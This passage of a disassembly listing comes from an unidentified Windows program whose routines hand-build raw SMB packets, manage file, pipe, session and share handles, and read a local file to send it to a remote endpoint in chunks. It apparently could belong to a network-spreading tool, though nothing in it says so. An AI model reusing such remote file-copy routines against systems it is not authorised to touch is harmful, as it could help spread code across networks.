		mov	[ebp+var_8], esi
		movzx	ecx, word ptr [edi+1Ch]
		mov	[ebx+18h], ecx
		add	edi, 20h
		movzx	ecx, byte ptr [edi+1]
		cmp	cl, 0FFh
		jnz	short loc_411B03
		movzx	ecx, byte ptr [edi]
		shl	ecx, 1
		add	edi, ecx
		add	edi, 3
		push	edi
		lea	eax, [ebx+18Ah]
		push	eax
		call	sub_40A25A
		push	edi
		call	sub_40A266
		inc	eax
		add	edi, eax
		push	edi
		call	sub_40A266
		inc	eax
		add	edi, eax
		push	edi
		lea	eax, [ebx+252h]
		push	eax
		call	sub_40A25A


loc_411B03:				; CODE XREF: sub_411980+18j
					; sub_411980+122j ...
		mov	eax, [ebp+var_8]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_411980	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B10	proc near		; CODE XREF: sub_408AD0+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+10h]
		mov	[ebp+var_4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+arg_10]
		mov	[ecx], edi
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		push	[ebp+arg_4]
		push	edi
		call	sub_411BD0
		add	edi, eax
		mov	dword ptr [edi], 2
		add	edi, 4
		mov	dword ptr [edi], 2
		mov	dword ptr [edi+4], 0FFFFFFFFh
		add	edi, 8
		mov	dword ptr [edi], 0FFFFFFFFh
		mov	dword ptr [edi+4], 0
		mov	dword ptr [edi+8], 0
		mov	dword ptr [edi+0Ch], 0
		mov	dword ptr [edi+10h], 0FFFFFFFFh
		mov	dword ptr [edi+14h], 0
		mov	dword ptr [edi+18h], 0FFFFFFFFh
		mov	dword ptr [edi+1Ch], 0
		add	edi, 20h
		push	[ebp+arg_8]
		push	edi
		call	sub_411BD0
		add	edi, eax
		push	[ebp+arg_C]
		push	edi
		call	sub_411BD0
		add	edi, eax
		mov	esi, [ebp+var_4]
		sub	edi, esi
		mov	ecx, [ebp+arg_14]
		add	edi, 4
		mov	[ecx], edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	18h
sub_411B10	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 0FF8B0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BD0	proc near		; CODE XREF: sub_408200+4Ap
					; sub_411B10+33p ...

var_320		= byte ptr -320h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCE0h
		push	edi
		push	esi
		push	ebx
		push	0
		push	0
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	0
		push	0
		call	sub_41441A
		shl	eax, 1
		mov	ebx, eax
		add	ebx, 3
		and	bl, 0FCh
		cmp	[ebp+arg_0], 0
		jz	short loc_411C38
		push	ebx
		lea	eax, [ebp+var_320]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	0
		push	0
		call	sub_41441A
		mov	esi, eax
		xor	eax, eax
		mov	edx, [ebp+arg_0]
		mov	[edx], esi
		mov	dword ptr [edx+4], 0
		mov	[edx+8], esi
		add	edx, 0Ch
		push	ebx
		lea	eax, [ebp+var_320]
		push	eax
		push	edx
		call	sub_40F5BF


loc_411C38:				; CODE XREF: sub_411BD0+2Cj
		add	ebx, 0Ch
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_411BD0	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 5000000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C50	proc near		; CODE XREF: sub_408440+28Fp
					; sub_4089C0+46p

var_6C		= byte ptr -6Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF94h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+10h]
		mov	[ebp+var_8], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+arg_C]
		mov	[ecx], edi
		push	[ebp+arg_4]
		push	offset dword_41A94C
		lea	eax, [ebp+var_6C]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		lea	eax, [ebp+var_6C]
		push	eax
		push	edi
		call	sub_411BD0
		add	edi, eax
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	[edi], eax
		mov	eax, [edx+4]
		mov	[edi+4], eax
		mov	al, [edx+8]
		mov	[edi+8], al
		mov	al, [edx+9]
		mov	[edi+9], al
		add	edi, 0Ch
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		push	dword ptr [edx+0Ah]
		push	edi
		call	sub_411BD0
		add	edi, eax
		mov	esi, [ebp+var_8]
		sub	edi, esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_411C50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CE0	proc near		; CODE XREF: sub_407B46+117p
					; sub_407B46+1B4p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_40A1D6
		leave
		retn	4
sub_411CE0	endp

; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	dword ptr [ebp+8]
		call	sub_40A1D6
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE6Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+14h]
		mov	[ecx], edi
		push	dword ptr [ebp+0Ch]
		push	offset dword_41A94C
		lea	eax, [ebp-194h]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		lea	eax, [ebp-194h]
		push	eax
		push	edi
		call	sub_411BD0
		add	edi, eax
		mov	dword ptr [edi], 2
		add	edi, 4
		mov	eax, [ebp+10h]
		mov	[edi], eax
		add	edi, 4
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+18h]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+10h]
		mov	[ecx], edi
		push	14h
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		mov	dword ptr [edi], 0
		add	edi, 4
		mov	dword ptr [edi], 2000h
		add	edi, 4
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+14h]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+14h]
		mov	[ecx], edi
		push	14h
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		push	dword ptr [ebp+10h]
		call	sub_40A26C
		mov	esi, eax
		shl	eax, 1
		mov	ebx, eax
		mov	[edi], ax
		add	edi, 2
		add	ax, 2
		mov	[edi], ax
		add	edi, 2
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		inc	esi
		mov	[edi], esi
		mov	dword ptr [edi+4], 0
		dec	esi
		mov	[edi+8], esi
		add	edi, 0Ch
		push	ebx
		push	dword ptr [ebp+10h]
		push	edi
		call	sub_40F5BF
		add	edi, ebx
		add	edi, 3
		and	edi, 0FFFFFFFCh
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+18h]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+18h]
		mov	[ecx], edi
		push	14h
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		mov	eax, [ebp+14h]
		mov	[edi], eax
		add	edi, 4
		mov	dword ptr [edi], 4
		add	edi, 4
		push	18h
		push	dword ptr [ebp+10h]
		push	edi
		call	sub_40F5BF
		add	edi, 18h
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+1Ch]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	18h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+18h]
		mov	[ecx], edi
		push	14h
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		mov	eax, [ebp+10h]
		mov	[edi], eax
		add	edi, 4
		mov	eax, [ebp+14h]
		mov	[edi], eax
		add	edi, 4
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+1Ch]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	18h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+14h]
		mov	[ecx], edi
		push	14h
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		mov	eax, [ebp+10h]
		mov	[edi], eax
		add	edi, 4
		add	edi, 4
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+18h]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE6Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+10h]
		mov	[ecx], edi
		mov	dword ptr [edi], 0
		add	edi, 4
		mov	dword ptr [edi], 0
		add	edi, 18h
		mov	dword ptr [edi], 801h
		add	edi, 4
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+14h]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+14h]
		mov	[ecx], edi
		push	14h
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		mov	eax, [ebp+10h]
		mov	[edi], eax
		add	edi, 14h
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+18h]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+14h]
		mov	[ecx], edi
		push	14h
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		mov	dword ptr [edi], 1
		add	edi, 4
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		mov	dword ptr [edi], 1
		add	edi, 4
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		mov	dword ptr [edi], 5
		add	edi, 4
		push	1Ch
		push	dword ptr [ebp+10h]
		push	edi
		call	sub_40F5BF
		add	edi, 1Ch
		add	edi, 4
		add	edi, 4
		mov	dword ptr [edi], 1
		add	edi, 4
		add	edi, 4
		add	edi, 4
		mov	dword ptr [edi], 2
		add	edi, 4
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+18h]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE6Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+10h]
		mov	[ecx], edi
		push	dword ptr [ebp+0Ch]
		push	offset dword_41A94C
		lea	eax, [ebp-194h]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		lea	eax, [ebp-194h]
		push	eax
		push	edi
		call	sub_411BD0
		add	edi, eax
		mov	dword ptr [edi], 18h
		add	edi, 14h
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		mov	dword ptr [edi], 0Ch
		add	edi, 4
		mov	word ptr [edi],	2
		add	edi, 2
		mov	byte ptr [edi],	1
		add	edi, 1
		add	edi, 1
		mov	dword ptr [edi], 800h
		add	edi, 4
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+14h]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		mov	[ebp-4], eax
		mov	edi, eax
		push	258h
		push	0
		push	edi
		call	sub_40F5F0
		mov	ecx, [ebp+14h]
		mov	[ecx], edi
		push	14h
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		mov	dword ptr [edi], 1
		add	edi, 4
		mov	dword ptr [edi], 1
		add	edi, 4
		push	dword ptr [ebp+10h]
		call	sub_40A26C
		mov	esi, eax
		shl	eax, 1
		mov	ebx, eax
		mov	[edi], ax
		add	edi, 2
		add	ax, 2
		mov	[edi], ax
		add	edi, 2
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		inc	esi
		mov	[edi], esi
		mov	dword ptr [edi+4], 0
		dec	esi
		mov	[edi+8], esi
		add	edi, 0Ch
		push	ebx
		push	dword ptr [ebp+10h]
		push	edi
		call	sub_40F5BF
		add	edi, ebx
		add	edi, 3
		and	edi, 0FFFFFFFCh
		mov	dword ptr [edi], 1
		add	edi, 4
		add	edi, 4
		mov	dword ptr [edi], 1
		add	edi, 4
		add	edi, 4
		add	edi, 4
		mov	dword ptr [edi], 2
		add	edi, 4
		mov	esi, [ebp-4]
		sub	edi, esi
		mov	ecx, [ebp+18h]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412230	proc near		; CODE XREF: sub_407B46+52Dp
					; sub_407B46+538p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		push	31Ah
		push	esi
		call	sub_40A1BE
		or	eax, eax
		jnz	short loc_412288
		mov	ecx, [esi]
		cmp	ecx, 46494C45h
		jnz	short loc_41225A
		push	esi
		call	sub_412290
		jmp	short loc_412288
; ---------------------------------------------------------------------------


loc_41225A:				; CODE XREF: sub_412230+20j
		cmp	ecx, 50495045h
		jnz	short loc_41226A
		push	esi
		call	sub_412290
		jmp	short loc_412288
; ---------------------------------------------------------------------------


loc_41226A:				; CODE XREF: sub_412230+30j
		cmp	ecx, 53455353h
		jnz	short loc_41227A
		push	esi
		call	sub_4123C0
		jmp	short loc_412288
; ---------------------------------------------------------------------------


loc_41227A:				; CODE XREF: sub_412230+40j
		cmp	ecx, 53484152h
		jnz	short loc_412288
		push	esi
		call	sub_412340


loc_412288:				; CODE XREF: sub_412230+16j
					; sub_412230+28j ...
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_412230	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412290	proc near		; CODE XREF: sub_412230+23p
					; sub_412230+33p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_41232B
		mov	esi, eax
		push	8Dh
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 4
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		push	esi
		push	ebx
		call	sub_412804
		mov	ecx, [ebx+56h]
		mov	[esi+18h], cx
		add	esi, 20h
		mov	byte ptr [esi],	3
		mov	eax, [ebx+186h]
		mov	[esi+1], ax
		mov	dword ptr [esi+3], 0FFFFFFFFh
		mov	word ptr [esi+7], 0
		add	esi, 9
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	1000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41232B
		add	edi, 4
		mov	esi, [edi+5]


loc_41232B:				; CODE XREF: sub_412290+11j
					; sub_412290+93j
		push	ebx
		call	sub_412700
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_412290	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412340	proc near		; CODE XREF: sub_412230+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	short loc_4123B0
		mov	esi, eax
		push	84h
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 71h
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		push	esi
		push	ebx
		call	sub_412804
		mov	eax, [ebx+56h]
		mov	[esi+18h], ax
		add	esi, 20h
		add	esi, 3
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	1000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0


loc_4123B0:				; CODE XREF: sub_412340+11j
		push	ebx
		call	sub_412700
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_412340	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123C0	proc near		; CODE XREF: sub_412230+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	short loc_412430
		mov	esi, eax
		push	84h
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 74h
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		push	esi
		push	ebx
		call	sub_412804
		add	esi, 20h
		mov	byte ptr [esi],	2
		mov	byte ptr [esi+1], 0FFh
		add	esi, 7
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	1000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0


loc_412430:				; CODE XREF: sub_4123C0+11j
		or	ebx, ebx
		jz	short loc_41245A
		push	dword ptr [ebx+8]
		call	sub_40A2FC
		push	8000h
		push	0
		push	dword ptr [ebx+0Ch]
		call	sub_40A230
		or	eax, eax
		jnz	short loc_412454
		call	sub_40A17C


loc_412454:				; CODE XREF: sub_4123C0+8Dj
		push	ebx
		call	sub_412700


loc_41245A:				; CODE XREF: sub_4123C0+72j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4123C0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 8
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412470	proc near		; CODE XREF: sub_408BB0+27p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_C], 0FFFFFFFFh
		mov	edi, [ebp+arg_0]
		or	edi, edi
		jz	loc_4125C6
		push	0
		call	sub_41274B
		or	eax, eax
		jz	loc_4125C6
		mov	[ebp+var_C], eax
		mov	ebx, eax
		push	31Ah
		push	edi
		push	ebx
		call	sub_40F5BF
		mov	dword ptr [ebx], 46494C45h
		mov	[ebx+4], edi
		push	[ebp+arg_4]
		call	sub_40A266
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_4125C6
		mov	esi, eax
		push	0B7h
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 0A2h
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		push	esi
		push	ebx
		call	sub_412804
		mov	eax, [ebx+56h]
		mov	[esi+18h], ax
		add	esi, 20h
		mov	byte ptr [esi],	18h
		mov	byte ptr [esi+1], 0FFh
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[esi+6], ax
		mov	dword ptr [esi+8], 16h
		mov	dword ptr [esi+10h], 3019Fh
		mov	dword ptr [esi+1Ch], 20h
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+24h], 5
		mov	dword ptr [esi+28h], 44h
		mov	dword ptr [esi+2Ch], 2
		mov	byte ptr [esi+30h], 3
		mov	eax, [ebp+var_8]
		mov	[esi+31h], ax
		add	esi, 33h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_40F5BF
		add	esi, [ebp+var_8]
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	1000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4125B7
		add	edi, 4
		mov	ecx, [edi+5]
		or	ecx, ecx
		jnz	short loc_4125A0
		add	edi, 20h
		movzx	ecx, word ptr [edi+6]
		mov	[ebx+186h], ecx
		jmp	short loc_4125C6
; ---------------------------------------------------------------------------


loc_4125A0:				; CODE XREF: sub_412470+11Fj
		push	ecx
		call	sub_414414
		push	[ebp+var_C]
		call	sub_412700
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_4125C6
; ---------------------------------------------------------------------------


loc_4125B7:				; CODE XREF: sub_412470+115j
		push	[ebp+var_C]
		call	sub_412700
		mov	[ebp+var_C], 0FFFFFFFFh


loc_4125C6:				; CODE XREF: sub_412470+15j
					; sub_412470+24j ...
		mov	eax, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_412470	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125D0	proc near		; CODE XREF: sub_408BB0+3Ap

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	esi
		push	edi
		push	ebx
		mov	[ebp+var_10], 0FFFFFFFFh
		cmp	[ebp+arg_0], 0
		jz	short loc_412658
		mov	[ebp+var_C], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_4]
		call	sub_412670
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412658
		mov	ebx, [ebp+var_4]
		mov	esi, [ebp+var_8]
		jmp	short loc_41263A
; ---------------------------------------------------------------------------


loc_41260A:				; CODE XREF: sub_4125D0+6Cj
		cmp	ebx, 1000h
		jnb	short loc_412616
		mov	edi, ebx
		jmp	short loc_41261B
; ---------------------------------------------------------------------------


loc_412616:				; CODE XREF: sub_4125D0+40j
		mov	edi, 1000h


loc_41261B:				; CODE XREF: sub_4125D0+44j
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	esi
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	sub_414200
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412633
		jmp	short loc_41263E
; ---------------------------------------------------------------------------


loc_412633:				; CODE XREF: sub_4125D0+5Fj
		add	[ebp+var_C], edi
		add	esi, edi
		sub	ebx, edi


loc_41263A:				; CODE XREF: sub_4125D0+38j
		or	ebx, ebx
		jnz	short loc_41260A


loc_41263E:				; CODE XREF: sub_4125D0+61j
		push	0C000h
		push	0
		push	[ebp+var_8]
		call	sub_40A230
		or	ebx, ebx
		jnz	short loc_412658
		mov	[ebp+var_10], 0


loc_412658:				; CODE XREF: sub_4125D0+14j
					; sub_4125D0+30j ...
		mov	eax, [ebp+var_10]
		pop	ebx
		pop	edi
		pop	esi
		leave
		retn	8
sub_4125D0	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	24A48D00h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412670	proc near		; CODE XREF: sub_4125D0+28p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40A110
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4126EC
		push	0
		push	[ebp+var_4]
		call	sub_40A176
		mov	[ebp+var_8], eax
		add	eax, 3E8h
		push	4
		push	3000h
		push	eax
		push	0
		call	sub_40A22A
		or	eax, eax
		jz	short loc_4126E4
		mov	edi, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], edi
		push	0
		push	esp
		push	[ebp+var_8]
		push	edi
		push	[ebp+var_4]
		call	sub_40A1E8
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+var_8]
		mov	[ecx], eax
		inc	ebx


loc_4126E4:				; CODE XREF: sub_412670+53j
